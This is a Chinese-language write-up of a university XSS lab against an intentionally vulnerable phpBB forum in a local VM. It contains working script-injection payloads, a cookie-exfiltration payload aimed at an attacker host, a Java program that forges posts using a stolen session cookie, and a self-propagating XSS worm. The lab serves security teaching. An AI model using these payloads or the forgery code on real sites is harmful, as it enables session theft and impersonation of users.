软件安全实验——lab11(XSS跨站脚本攻击)

声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

目录标题

  • 1、概述
  • 2、实验室环境
  • 3、实验室的任务
    • 3.1任务1:发布恶意消息以显示警报窗口
    • 3.2任务2:发送恶意信息显示cookie
    • 3.3任务3:从受害者的机器上偷取cookies
    • 3.4任务4:用偷来的cookie冒充受害者
    • 3.5任务5:编写跨站蠕虫
    • 3.6任务6:编写自传播跨站蠕虫
  • 4、提交

1、概述

跨站脚本(XSS)是 web应用程序中常见的一种漏洞。该漏洞使得攻击者有可能将恶意代码(如 JavaScript程序)注入受害者的网络浏览器。使用这种恶意代码,攻击者可以窃取受害者的凭证,如 cookie。浏览器用来保护这些凭证的访问控制策略(即同源策略)可以通过利用XSS漏洞来绕过。这种漏洞可能会导致大规模的攻击
为了演示攻击者利用XSS漏洞可以做些什么,我们使用phpBB建立了一个基于 web的留言板。我们对软件进行了修改,在该留言板中引入了XSS 漏洞;这个漏洞允许用户向公告板发布任何消息,包括JavaScript程序。学生需要利用这一漏洞,在留言板上发布一些恶意信息;看到这些恶意信息的用户将成为受害者。攻击者的目标是为受害者发布伪造的信息。

2、实验室环境

在这个实验中,我们需要三样东西:(1)Firefox网络浏览器,(2)apache网络服务器,(3)phpBB留言板网络应用程序。对于浏览器,我们需要使用Firefox 的 LiveHTTPHeaders 扩展来检查HTTP请求和响应。提供给您的预构建的Ubuntu虚拟机镜像已经安装了带有所需扩展的Firefox浏览器。
启动Apache服务器。apache web服务器也包含在预构建的Ubuntu镜像中。但是,默认情况下web服务器是不启动的。您必须首先使用以下两个命令之一启动web服务器:

% sudo apache2ctl start

or

% sudo service apache2 start

phpBB web应用程序。phpBB web应用程序已经在预构建的 Ubuntu虚拟机镜像中设置好了。我们还在phpBB服务器上创建了几个用户帐户。密码信息可以从首页的帖子中获取。你可以使用以下URL访问phpBB服务器(首先需要启动apache服务器):
http://www.xsslabphpbb.com
配置DNS。这个URL只能从虚拟机内部访问,因为我们修改了/etc/hosts文件,将域名(www.xsslabphpbb.com)映射到虚拟机的本地IP地址(127.0.0.1)。您可以使用/etc/hosts将任何域名映射到特定的IP地址。例如,在/etc/hosts文件中添加如下内容,将 http:/www.example.com 映射到本地IP地址。

127.0.0.1     www.example.com

因此,如果您的 web服务器和浏览器运行在两台不同的机器上,您需要相应地修改浏览器机器上的/etc/hosts文件,将 www.xsslabphpbb.com映射到 web服务器的IP地址。
配置Apache 服务器。在预构建的VM映像中,我们使用Apache服务器托管实验室中使用的所有网站。Apache 中基于名称的虚拟主机特性可以用于在同一台机器上托管多个网站(或url)。在"/etc/apache2/sites-available"目录下有一个名为default的配置文件,其中包含了必要的配置指令:
1.指令“NameVirualHost *”指示 web服务器使用机器中的所有IP地址(有些机器可能有多个IP地址)。
2.每个网站都有一个VirtualHost块,它指定网站的URL和包含网站源的文件系统中的目录。
例如,要配置一个URL为http://www.example1.com的网站,源文件位于/var/www/Example_1/目录下,以及要配置一个URL为 http://www.example2.com的网站,源文件位于/var/www/Example_2/目录下,我们使用以下代码块:

<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
VirtualHost>
<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
VirtualHost>

您可以通过访问上述目录中的源代码来修改 web应用程序。例如,使用上面的配置,可以通过修改目录/var/www/Example_l中的源来修改web应用程序 http://www.example1.com.
其他软件。有些实验任务需要对JavaScript有基本的了解。只要有必要,我们就提供一个JavaScript示例程序来帮助学生入门。为了完成任务3,学生可能需要一个实用程序来监视特定TCP端口上传入的请求。我们提供了一个C程序,可以将其配置为侦听特定端口并显示传入消息。C语言程序可从本实验室的网站下载。
注意对教师
本实验室可在有监督的实验室环境中进行。在这种情况下,教师可以在做实验之前向学生提供以下背景信息:
1.如何使用虚报机。Firefox web浏览器和 LiveHittpHeaders扩展。2…JavaScript和 XMLHttpRequest对象的基础知识。
3.简要概述任务。
4.如何使用监听端口的C程序。
5.如何编写一个java程序发送一个HTTP消息发布。

3、实验室的任务

3.1任务1:发布恶意消息以显示警报窗口

此任务的目标是发布包含JavaScript 的恶意消息,以显示警报窗口。JavaScript应该与消息中的用户注释一起提供。下面的JavaScript将显示一个警告窗口:

<script>alert(XSS);</script>

如果您将此JavaScript和您的评论一起发布在留言板中,那么任何查看此评论的用户都将看到警告窗口。

可以用JavaScript的alert语句弹出警告窗口,参数为窗口中的字符串,如下图所示
发布一个帖子:
软件安全实验——lab11(XSS跨站脚本攻击)_第1张图片

当有用户浏览该帖子的时候,则会弹出下面的窗口:
软件安全实验——lab11(XSS跨站脚本攻击)_第2张图片

3.2任务2:发送恶意信息显示cookie

此任务的目标是在留言板上发布包含JlavaScript 代码的恶意消息,以便每当用户查看此消息时,都会打印出用户的 cookie。例如,考虑以下包含JavaScript代码的消息:

<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.

当用户查看此消息发布时,他她将看到一个弹出消息框,其中显示用户的cookie。

为了显示出cookie,只需要把cookie的值传入alert中作为参数即可,如下图所示:
软件安全实验——lab11(XSS跨站脚本攻击)_第3张图片

此时用户如果浏览这个帖子,则会弹出用户的cookie
软件安全实验——lab11(XSS跨站脚本攻击)_第4张图片

3.3任务3:从受害者的机器上偷取cookies

在之前的任务中,恶意JavaScript代码可以打印出用户的cookie;在这个任务中,攻击者希望.JavaScript代码将cookie发送给自己。为了实现这一点,恶意JavaScript代码可以向攻击者发送一个HTTP请求,并将cookie附加到请求中。我们可以通过让恶意的JavaScript 插入一个标记,并将src设置为攻击者目标的URL来实现这一点。当JavaScript插入img标记时,浏览器尝试从提到的URL加载图像,并在这个过程中最终向攻击者的网站发送一个HTTP GET请求。下面给出的JavaScript 将 cookie 发送到攻击者机器上提到的端口5555。在特定的端口上,攻击者有一个TCP服务器,它只是打印它接收到的请求。TCP服务器程序将提供给您(可在本实验室的网站上获得)。

Hello Folks,
<script>document.write(<img src=http://attacker_IP_address:5555?c=+ escape(document.cookie) +>); </script>
This script is to test XSS. Thanks.

为了把用户的cookie送到远程攻击者的主机,需要如下构造攻击脚本语句:

<script>document.write(<img src = http://127.0.0.1:5555?c=+escape(document.cookie)+>);</script>

软件安全实验——lab11(XSS跨站脚本攻击)_第5张图片

为了和请求报头格式一致,我们需要用escape函数对cookie中的特殊字符进行转义。
这样脚本执行结束后浏览去会向127.0.0.1的5555端口的地址请求一个名字为自己的cookie的图片。当然这个图片是不存在的,为了避免受到被攻击者的怀疑,我们可以在帖子内容中写上“picture has been deleted!”。此时浏览帖子的人看到的内容如下:
软件安全实验——lab11(XSS跨站脚本攻击)_第6张图片

按照Makefile文件中编译:
软件安全实验——lab11(XSS跨站脚本攻击)_第7张图片

在浏览者一无所知的情况下,他的cookie值就被发送到了攻击者的电脑上,攻击者远程监听的结果如下:
软件安全实验——lab11(XSS跨站脚本攻击)_第8张图片
GET /?c=phpbb2mysql_t%3Da%253A2%253A%257Bi%253A6%253Bi%253A1629100308%253Bi%253A11%253Bi%253A1629099910%253B%257D%3B%20phpbb2mysql_data%3Da%253A2%253A%257Bs%253A11%253A%2522autologinid%2522%253Bs%253A0%253A%2522%2522%253Bs%253A6%253A%2522userid%2522%253Bs%253A2%253A%252212%2522%253B%257D%3B%20phpbb2mysql_sid%3Df7ce2779c4f882fdab383be05e4e354f HTTP/1.1

3.4任务4:用偷来的cookie冒充受害者

在窃取受害者的 cookie 后,攻击者可以对 phpBB 网络服务器做受害者可以做的任何事情,包括以受害者的名字发布一条新消息,删除受害者的帖子,等等。在这个任务中,我们将编写一个程序,代表受害者伪造消息。
为了伪造消息发布,我们首先应该分析 phpBB 在发布消息方面是如何工作的。更具体地说,我们的目标是确定当用户发布消息时向服务器发送什么。Firefox的LiveHTTPHeaders 扩展可以帮助我们;它可以显示从浏览器发送的任何HTTP请求消息的内容。从内容中,我们可以识别消息的所有参数。图1给出了LiveHTTPHeaders的屏幕截图。LiveHTTPHeaders扩展可以从http:Mlivehtpheaders.mozdev.org/下裁,它已经安装在预构建的Ubuntu虚拟机镜像中。
一旦我们理解了用于消息发布的HTTP请求是什么样子的,我们就可以编写一个 Java程序来发送相同的 HTTP请求。phpBB服务器无法区分请求是由用户的浏览器发出的还是由攻击者的Java程序发出的。只要我们正确地设置了所有参数,服务器就会接受并处理消息发送HTTP 请求。为了简化您的任务,我们提供了一个示例java程序,其功能如下:
1.打开到 web 服务器的连接。
2.设置必要的HTTP头信息。
3.发送请求到web 服务器。
4.从web服务器获取响应。
如果您在理解上述程序时有困难,我们建议您阅读以下内容

import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
// URL to be forged.
URL url = new URL ("http://www.xsslabphpbb.com/profile.php");
// URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
//HTTP Post Data which includes the information to be sent to the server.
String data="username=admin&seed=admin%40seed.com";
// DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput(true);
// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
// HTTP status code HTTP_OK means the response was
// received sucessfully.
if (responseCode == HttpURLConnection.HTTP_OK) {
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream();
// Create an instance for BufferedReader
// to read the response line by line.
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

如果您在理解上述程序时有困难,我们建议您阅读以下内容:
JDK 6文档:http://java.sun.com/javase/6/docs/api/
Java 协议处理程序:http://java.sun.com/developer/onlineTraining/protocolhandlers/
限制:伪造的消息应该来自同一台虚拟机,即受害者(连接到web论坛的用户)和攻击者(生成伪造消息的人)应该在间一台机器上,因为 phpBB使用IP地址和cookie进行会话管理。如果攻击者从另一台机器生成伪造的消息,伪造数据包的IP地址和受害者的IP地址将不同,因此伪造的消息将被phpBB服务器拒绝,尽管伪造的消息携带了正确的cookie信息。

为了冒充被攻击者发帖,首先向前面所述得到用户的cookie,但是这个cookie是经过转义过的,我们需要把其中的转义字符修正回来,具体要在vim中进行如下操作:
把所有的“%3D”替换为“=”号,把所有的“%25”替换为“%”号,把所有的“%3B%20”替换为“; ”(;后面有个空格)。

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D

这样我们就得到了用户的原始cookie。然后用addRequestProperty函数设置连接的cookie属性,这样服务器就会把我们当作被攻击者:
软件安全实验——lab11(XSS跨站脚本攻击)_第9张图片

http://www.xsslabphpbb.com/posting.php

POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1
Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D
Content-Type: application/x-www-form-urlencoded
Content-Length: 276
subject=bbbb&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=bbbb&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=8d7d46f9af4ffa33a84494b859da0cd1&f=1&post=Submit

HTTP/1.1 200 OK
Date: Mon, 16 Aug 2021 11:50:11 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_t=a%3A3%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3Bi%3A14%3Bi%3A1629114611%3B%7D; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3882
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

其中:

Cookie: phpbb2mysql_t=a%3A3%3A%7Bi%3A6%3Bi%3A1629100308%3Bi%3A11%3Bi%3A1629099910%3Bi%3A7%3Bi%3A1629100786%3B%7D; phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=f7ce2779c4f882fdab383be05e4e354f subject=bbbb&addbbcode18=%23444444&addbbcode20=0&helpbox=Quote+text%3A+%5Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=bbbb&poll_title=&add_poll_option_text=&poll_length=&mode=editpost&sid=f7ce2779c4f882fdab383be05e4e354f&p=7&post=Submit

这样我们就得到了,发帖数据包的格式,通过修改其中的cookie字段我们就可以伪装成其他用户,修改subject和message字段,我们就可以修改任意帖子内容。综上,我们需要将Java程序中的addRequestProperty和data修改为如下:
软件安全实验——lab11(XSS跨站脚本攻击)_第10张图片

HTTPSimpleForge.Java源代码:

import java.io.*;

import java.net.*;

public class HTTPSimpleForge {

       public static void main(String[] args) throws IOException {

       try {

                     int responseCode;

                     InputStream responseIn=null;

                     // URL to be forged.

                     URL url = new URL ("http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");

                     // URLConnection instance is created to further parameterize a

                     // resource request past what the state members of URL instance

                     // can represent.

                     URLConnection urlConn = url.openConnection();

                     if (urlConn instanceof HttpURLConnection) {

                            urlConn.setConnectTimeout(60000);

                            urlConn.setReadTimeout(90000);

              }

              // addRequestProperty method is used to add HTTP Header Information.

              // Here we add User-Agent HTTP header to the forged HTTP packet.

              urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

              urlConn.setRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

              urlConn.setRequestProperty("Accept-Language","en-us,en;q=0.5");

              urlConn.setRequestProperty("Accept-Encoding","gzip,deflate");

              urlConn.setRequestProperty("Accept-Charset","ISO-8859-1,utf-8;q=0.7,*;q=0.7");

              urlConn.setRequestProperty("Connection","keep-alive");

              urlConn.setRequestProperty("Keep-Alive","115");

              urlConn.setRequestProperty("Referer","http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");

              urlConn.setRequestProperty("Cookie","Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D");

              urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");

              urlConn.setRequestProperty("Content-Length","245");

              //HTTP Post Data which includes the information to be sent to the server.

              //String data="[email protected]";
	      String data="subject=Iam not 123&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=but I can post as 123&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=8d7d46f9af4ffa33a84494b859da0cd1&f=1&post=Submit";

              // DoOutput flag of URL Connection should be set to true

              // to send HTTP POST message.

              urlConn.setDoOutput(true);

              // OutputStreamWriter is used to write the HTTP POST data

              // to the url connection.

              OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());

              wr.write(data);

              wr.flush();

              // HttpURLConnection a subclass of URLConnection is returned by

              // url.openConnection() since the url is an http request.

              if (urlConn instanceof HttpURLConnection) {

                     HttpURLConnection httpConn = (HttpURLConnection) urlConn;

                     // Contacts the web server and gets the status code from

                     // HTTP Response message.

                     responseCode = httpConn.getResponseCode();

                     System.out.println("Response Code = " + responseCode);

                     // HTTP status code HTTP_OK means the response was

                     // received sucessfully.

                     if (responseCode == HttpURLConnection.HTTP_OK) {

                            // Get the input stream from url connection object.

                            responseIn = urlConn.getInputStream();

                            // Create an instance for BufferedReader

                            // to read the response line by line.

                            BufferedReader buf_inp = new BufferedReader(

                            new InputStreamReader(responseIn));

                            String inputLine;

                            while((inputLine = buf_inp.readLine())!=null) {

                                   System.out.println(inputLine);

                            }

                     }

              }

       } catch (MalformedURLException e) {

              e.printStackTrace();

              }

       }

}

编译运行:
软件安全实验——lab11(XSS跨站脚本攻击)_第11张图片

再去看论坛文章列表,我们发现确实多了123发的一篇帖子:
软件安全实验——lab11(XSS跨站脚本攻击)_第12张图片
软件安全实验——lab11(XSS跨站脚本攻击)_第13张图片

3.5任务5:编写跨站蠕虫

在前面的任务中,我们学习了如何从受害者那里窃取 cookie,然后使用窃取的 cookie伪造HTTP请求。在这个任务中,我们需要编写一个恶意JavaScript来直接从受害者的浏览器伪造一个 HTTP请求。这种攻击不需要攻击者的干预。能够做到这一点的JavaScript被称为跨站点脚本蠕虫。对于这个web应用程序,蠕虫程序应该做以下工作:
1.使用JavaScript检索用户的会话ID。
2.伪造HTTP发布请求,使用会话ID发布消息。
HTTP请求有两种常见类型,一种是HTTP GET请求,另一种是HTTP POST请求。这两种HTTP请求的不同之处在于它们如何将请求的内容发送给服务器。在phpBB中,发送消息的请求使用HTTP POST请求。我们可以使用XMLHttp Request对象为 web应用程序发送HTTP GET 和POST请求。XMLHttp Request只能将HTTP请求发送回服务器,而不是其他计算机,因为XMLHtpRequest强烈执行同源策略。这对我们来说不是问题,因为我们确实想使用XMLHttp Request向 phpBB服务器发送一个伪造的HTTP POST请求。要学习如何使用XMLHttp Request,可以学习这些引用的文档[1,2]。如果您不熟悉JavaScript编程,我们建议您阅读[3],学习一些基本的JavaScript函致。你将不得不使用其中的一些函数:
您可能还需要调试JavaScript代码。Firebug是一个Firefox扩展,可以帮助您调试JavaScript代码。它可以指出包含错误的精确位置。FireBug可以从 https://addons.mozilla.org/en-US/firefox/addon/1843下载。它已经安装在我们预构建的Ubuntu虚拟机镜像中。
代码框架。我们提供了您需要编写的JavaScript代码的框架。你需要填写所有必要的细节。在发布到phpBB留言板的消息中包含最终的JavaScript代码时,需要制除所有注释、额外的空格和换行符。

<script>
var Ajax=null;
// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Construct the content. The format of the content can be learned
// from LiveHttpHeader. All we need to fill is subject, message, and sid.
var content="subject=" + "XSSWorm" + ...; // You need to fill in the details.
// Send the HTTP POST request.
Ajax.send(content);
</script>

要使我们的蠕虫工作,我们应该注意phpBB是如何使用会话id信息的。从LiveHTTPHeaders 扩展的输出中,我们可以注意到sid在消息发布请求中出现了两次。一个是在 cookie部分(称为phpbb2mysql_sid)。因此,XMLHttpRequest发出的HTTP POST请求也必须包含cookie。我们已经在上面的骨架代码中为您做了。
如果我们仔细查看LiveHTTPHeaders的输出,我们可以看到相同的 session id也出现在以“subject=”开头的行中。phpBB服务器使用这里的会话id来防止另一种类型的攻击(即跨站请求伪造攻击)。在伪造的消息发布请求中,我们还需要添加这个会话id信息;该会话id的值与phpbb2mysql_sid中的值完全相同。如果请求中没有此会话id,则该请求将被服务器丢弃。
为了从cookie中检索 sid信息,您可能需要学习JavaScript中的一些字符串操作。你应该学习这个引用的教程[4]。

为了能够让这个蠕虫可以以浏览者的身份发帖,我们首先要用JavaScript得到用户的cookie,这个在前面已经做过了;然后我们需要从此cookie中提取出section ID,这个可以用JavaScript提供的一些字符串操作函数来完成;最后要利用这个section ID构造一个发帖请求,发帖请求的格式可以通过LiveHTTPHeader来侦听一个真正的发帖请求来得到。

就在hyh浏览这个帖子的同时,我们的蠕虫已经以hyh的身份发了帖子:
软件安全实验——lab11(XSS跨站脚本攻击)_第14张图片

3.6任务6:编写自传播跨站蠕虫

在前一个任务中构建的蠕虫只代表受害者伪造一条消息;它不会自我传播。因此,从技术上讲,它不是蠕虫。为了能够自我传播,伪造的消息还应该包括一个蠕虫病毒,所以每当有人点击伪造的消息,一个新的携带相同的蠕虫病毒的伪造消息将被创建。这样,蠕虫就可以传播了。点击伪造信息的人越多,蠕虫病毒传播的速度就越快。
在此任务中,您需要展开在task 5中所做的工作,并将蠕虫病毒的副本添加到伪造消息的正文中。以下指导方针将帮助您完成这项任务:
1.发布伪造信息的JavaScript 程序已经是网页的一部分。因此,蠕虫代码可以使用DOM api从网页中检索自己的副本。下面给出一个使用DOM api的例子。这段代码获得了自己的副本,并将其显示在警报窗口中:

<script id=worm>
var strCode = document.getElementById("worm");
alert(strCode.innerHTML);
</script>

2.URL编码:1nternet上所有通过HTTP协议传输的消息都使用URL编码,即在URL编码方案下,将所有非ascii字符(如空格)转换为特殊代码。在蠕虫代码中,在 phpBB论坛中发布的消息应该使用URL编码。escape函数可用于URL编码字符串。下面给出了一个使用encode函数的示例。

<script>
var strSample = "Hello World";
var urlEncSample = escape(strSample);
alert(urlEncSample);
</script>

3.在URL编码方案下,“+”符号用于表示空格。在JavaScript程序中,“+”用于算术操作和字符串连接操作。为了避免这种模棱两可,
可以使用concat函数进行字符串连接,避免使用加法。的蠕虫在代码练习中,你不需要使用加法。如果你确实需要加一个数字(如a+5),你可以可以使用减法(如a-(-5))。

123发布包含蠕虫的帖子后,hyh浏览了123的帖子,abc浏览hyh的帖子,攻击效果如下:
软件安全实验——lab11(XSS跨站脚本攻击)_第15张图片

4、提交

你需要提交一份详细的实验报告,描述你做了什么,观察到了什么。请使用LiveHTTPHeaders,Wireshark和/或截图提供详细信息。您还需要对有趣或令人惊讶的观察结果进行解释。

参考文献

[1]AJAX for n00bs。可于以下网址查阅:
http://www.hunlock.com/blogs/AJAX_for_n00bs。
[2] AJAX POST-It Notes。可于以下网址查阅:
http://www.hunlock.com/blogs/AJAX_POST-It_Notes.
[3]Essential Javascript – A Javascript Tutorial。可于以下网址查间:
http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial。
[4]The Complete Javascript Strings Reference。可于以下网址查阅:
http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference。

声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

你可能感兴趣的:(#,软件安全实验,#,专题实验(Seed,Lab),xss,javascript,java,web渗透,html)